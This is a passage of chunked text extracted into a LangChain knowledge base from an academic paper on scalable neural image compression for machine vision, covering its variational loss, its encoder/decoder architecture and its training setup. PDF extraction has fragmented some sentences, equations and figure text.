+page_content=' In order to ensure  that there is no loss in compression efficiency when coding y1 and y2 separately, the  aforementioned latent representations should be maximally independent of one an-  other.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Thus, a model should ideally be trained to minimize the information-theoretic  mutual information (MI) [12] quantity I(y1;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' y2).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Although works such as [13] pro-  pose methods for estimating MI, it is well-known that estimating MI is especially  challenging for high dimensional variables.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  In this study, we explore an alternative framework by introducing s as an ad-  ditional input to a learned transform in the encoder, as shown in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 1(c).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' This  helps reduce the size of the bitstream associated with y1, while allowing y1 and y2  to become more disentangled.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Making y1 more compact should be indeed beneficial  for the VCM paradigm, which considers the vision inference as its primary task.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  3  Proposed Framework  We propose a DNN-based compression model that supports both object detection and  input reconstruction tasks.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We follow a methodology similar to the two-task scalable  compression model with latent-space scalability in [11], but with some architectural  changes.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Namely, we feed the feature representation s that is outputted by an in-  termediate layer of a vision task model directly as an input into our encoder.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 2  provides a conceptual system architecture for our proposed method, where the base  latent representation y1 is designated to capture the common information between x  and s, whereas the enhancement latent representation y2 captures information only  relevant to x.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' To be optimal from a compression point of view, the information in y2  should not have any overlap with the information in y1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' In this section, we discuss  Analysis  Synthesis  y2  q(2α;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Φα)  pe(αly1, y2;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 0)  :y1  qp(yila, s;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Φs)  pe(syi;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 0s)the rationale for this compression model with a variational formulation as well as the  implementation details of the neural network architecture.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='1  Scalable compression model with an alternative variational formulation  Similar to [14], we derive our formulation from a Bayesian variational inference per-  spective.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Given sample observations of a random variable x, accompanied with a  generative model p(x | y), one seeks a posterior distribution p(y | x).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' The poste-  rior distribution cannot be, in general, expressed in closed form.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Therefore, one can  approximate it using a variational density of q(y | x).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' One may then parameterize  the approximate posterior as qφ(y | x;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' φ) and the generative model distribution as  pθ(x | y;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' θ), and consecutively, seek to minimize the Kullback–Leibler (KL) diver-  gence DKL(qφ(y | x;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' φ) ∥ pθ(y | x;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' θ)).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  In our case, the distributions qφ(y1 | x, s;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' φs) and qφ(y2 | x;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' φx) are learned by  the encoder-side analysis transforms ge,s and ge,x, respectively, and are parameterized  by the weights φs and φx.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Both latent representations y1 and y2 are then rounded  to the closest integer values to obtain ˆy1 and ˆy2 before being fed into an entropy  coder.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' During training, we follow the same strategy for quantization as in [15], by re-  placing the rounding operation with additive uniform random noise to obtain “noisy”  counterparts of the latent representations, ˜y1 and ˜y2, which approximate ˆy1 and ˆy2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  At the decoder side, the synthesis transforms gd,x and gd,s learn the marginal  distributions pθ(x | y1, y2;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' θx) and pθ(s | y1;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' θs), both parameterized by the weights  θx and θs, respectively.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Note that y1 is jointly learned from both variables x and s,  and also is given as an input to both synthesis transforms.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Conversely, y2 is only  extracted from the input image x and is thus given as input only to gd,x.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  We model the variables y1 and y2 using a parametric, fully factorized density  function as in [3].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' More specifically, each element of the latent representations is  modeled as a zero-mean Gaussian distribution with a standard deviation that is pre-  dicted from a latent via a hyperprior block.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Following the graphical model induced  in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 2, we model the joint distribution of random variables as pθ(x, s, y1, y2) =  p(y1)p(y2)pθ(x | y1, y2;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' θx)pθ(s | y1;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' θs).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' In order to approximate the posterior den-  sities of the latent variables, we factorize the approximate posterior distribution as  qφ(y1, y2 | x, s) = qφ(y1 | x, s;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' φs)qφ(y2 | x;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' φx).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Then, the loss function to minimize  is given by the KL divergence between the approximate posterior qφ(˜y1, ˜y2 | x, s)  and the true posterior pθ(˜y1, ˜y2 | x, s) over the data distribution p(x, s):  L = DKL(qφ(˜y1, ˜y2 | x, s) ∥ pθ(˜y1, ˜y2 | x, s) | p(x, s))  = Ex,s∼p(x,s)  �  DKL (qφ(˜y1, ˜y2 | x, s) ∥ pθ(˜y1, ˜y2 | x, s))  �  = Ex,s∼p(x,s)E˜y1,˜y2∼qφ  ��  log qφ(˜y1 | x, s;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' φs) + log qφ(˜y2 | x;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' φx)  �  −  �  log pθ(x | ˜y1, ˜y2;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' θx)  �  ��  �  Dx  + log pθ(s | ˜y1;' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' θs)  �  ��  �  Ds  + log p(˜y1)  �  ��  �  Ry1  + log p(˜y2)  �  ��  �  Ry2  ��  + const.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  (1)  The first parenthesized group of terms within the expectation is zero since the den-  sities q are a product of uniform densities of unit width, due to perturbation with  uniform noise during training.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' The terms labeled Dx and Ds coincide with distortion  Figure 3: Schematic of the proposed neural network architecture.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Hyperprior blocks and side  information bitstreams similar to [3] are also present, but are not visualized here.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Table 1: Network layer configurations of the encoder and of the decoder.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Encoder  Decoder  ge,s  ge,x  gd,s  gd,x  No.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Layer  In/Out  Layer  In/Out  Layer  In/Out  Layer  In/Out  1  conv5s1  Cs + 3/N  conv5s2  3/N  deconv5s1  M1/N  deconv5s2  M/N  2  conv5s1  N/N  conv5s2  N/N  deconv5s1  N/N  deconv5s2  N/N  3  conv5s2  N/M1  conv5s2  N/N  deconv5s2  N/Cs  deconv5s2  N/N  4  conv5s2  N/M2  deconv5s2  N/3  terms associated with the input image x and feature representation s for the targeted  vision task, respectively.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' The terms labeled Ry1 and Ry2 represent the cross-entropy  values, corresponding to the bit costs of encoding ˜y1 and ˜y2 under the respective  learned entropy models.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  By linking the parameterized density functions to the transform coding paradigm,  we observe that the minimization of the KL divergence effectively corresponds to  optimizing the VCM model for rate-distortion performance associated with both input  image reconstruction and object detection tasks.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' In the case of using the MSE metric,  the distortion terms Dx and Ds in Eq.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' (1) correspond to closed-form likelihoods, or  more specifically, to Gaussian distributions (see [15] for relevant discussion).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We can  write the loss function from Eq.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' (1) compactly as  L = Ry1 + Ry2 + λ · Dx + γ · Ds,  (2)  where the scalars λ and γ denote the Lagrange multipliers corresponding to the  distortion budgets associated with x and s, respectively.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='2  Implementation of the neural network architecture  As seen in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 3, we build our neural network architecture based on the approach  in [3].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We generate the feature representation s ∈ RCs×Hs×Ws by feeding the input  image x ∈ R3×H×W through the first few layers of a machine vision model, denoted  as Vfront in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' To have a fair comparison with [11], we use the first consecutive  13 layers of the YOLOv3 [16] object detection model to generate s with Cs = 256  channels, and spatial dimensions of Hs = H  8 and Ws = W  8 .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  The analysis transform ge,s generates the base latent representation y1 using as  input the channel-wise concatenation of s and Resize(x), where we have chosen a  spatial bicubic interpolation filter for Resize : R3×H×W → R3×Hs×Ws.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' The analysis  Encoder  Decoder  y2  92  2  ge,a  Q  AE  gd,c  Enhancement  Resize  bitstream  KS  y1  y1  y1  ge,s  AE  AD  gd,s  1  Q  Base  S  bitstreamtransform ge,x generates the enhancement latent representation y2 using only x as  input.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Next, y1 and y2 are quantized (Q) and fed into an arithmetic encoder (AE),  which yields the base and enhancement bitstreams, respectively.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  At the decoder side, the respective bitstreams are then fed into an arithmetic  decoder (AD) in order to reconstruct the base and enhancement latent represen-  tations ˆy1 and ˆy2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Using ˆy1, the synthesis transform gd,s reconstructs the feature  representation ˆs, which we feed into the remaining part of the machine vision model,  denoted as Vback, in order to generate the inference results ˆt.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Using the channel-wise  concatenation of ˆy1 and ˆy2, the synthesis transform gd,x reconstructs the input ˆx.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  As our network architecture builds upon [3], it employs separate hyperprior mod-  ules for both latent representations y1 and y2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' However, these are omitted in Fig.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 3  for brevity.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' The layer configurations for the hyperprior modules are the same as those  presented in [3], whereas details on the employed encoder/decoder modules are shown  in Table 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We adopt a similar configuration for the encoder/decoder architecture  as in [3], for our ge,i and gd,i where i = {x, s}.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We define the analysis transforms  ge,i using convolutional layers with 5 × 5 kernels and a stride of 2 (i.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='e.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=', conv5s2),  interleaved with generalized divisive normalization (GDN) layers [17].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' The synthe-  sis transforms gd,i consist of transposed convolutional layers for upsampling with a  stride of 2 (i.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='e.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=', deconv5s2), interleaved with inverse GDN (IGDN) layers.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Note that  in order to match the spatial dimension of the latent representations, the number  of layers at the analysis/synthesis transforms both at the encoder and decoder sides  differ.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Table 1 lists the layers used in our model, along with their corresponding input  and output channel dimensions.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' In our experiments, we fix N = 192 for all models,  and vary M1 and M2 depending on the configuration as detailed in Section 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  4  Experiments and Results  4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='1  Experimental setup  We implemented all DNN-based models using the CompressAI library [18].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  The  models are trained on randomly cropped patches of size 256×256 from the Vimeo-90K  [19] dataset, with a batch size of 8.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We use an Adam optimizer with an initial learning  rate of 1 × 10−4, where the rate is reduced by a factor of 10 whenever the decrease in  validation loss stagnates, up to 4 times, after which we stop training.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We use the loss  function from Eq.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' 2 with Dx = MSE(x, ˆx) and Ds = MSE(s, ˆs).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' Our models have  been trained to operate across a wide range of bit rates by varying the hyperparameter  λ ∈ {0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0067, 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0100, 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0130, 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0250, 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0300, 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='0483} and fixing γ = 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='006 · λ.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  To explore how the overall performance changes with our proposed approach under  various configurations, we vary the number of channels of the base and enhancement  latent representations (i.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='e.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=', M1 and M2, respectively), and the number of hyperprior  blocks employed (i.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='e.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=', H).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We use the tuple (M1, M2, H) to express each configuration.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  Because our proposed approach is built upon [3] for the sake of reduced com-  putational load, we have reimplemented [11] on top of a comparable base architec-  ture with its original configuration (128, 64, 1) in order to ensure a fairer compari-  son.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' We also compare with the latest standard codecs in intra-only mode using the  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
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+page_content='0  1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='1  Bits per pixel (bpp)  51  52  53  54  mAP@0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='5 (%)  2% margin (53.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='85%)  HEVC  VVC  Choi et al.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' [11] (128, 64, 1)  Ours (64, 192, 2)  Ours (64, 128, 2)  Ours (64, 128, 1)  Ours (128, 64, 1)  (a)  0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
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+page_content='990  MS-SSIM (RGB)  (c)  Figure 4: Performance comparisons across various metrics.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' (a) Object detection in terms of mAP  (IoU=0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='5) vs.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' bpp on the COCO 2014 validation dataset.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' (b) Input reconstruction in terms of  PSNR vs.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' bpp and (c) input reconstruction in terms of MS-SSIM vs.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content=' bpp on the Kodak dataset.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
+page_content='  reference implementations of HEVC1 and VVC2 over the quantization parameters  QP ∈ {22, 25, 28, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/0dE2T4oBgHgl3EQf4wg0/content/2301.04183v1.pdf'}
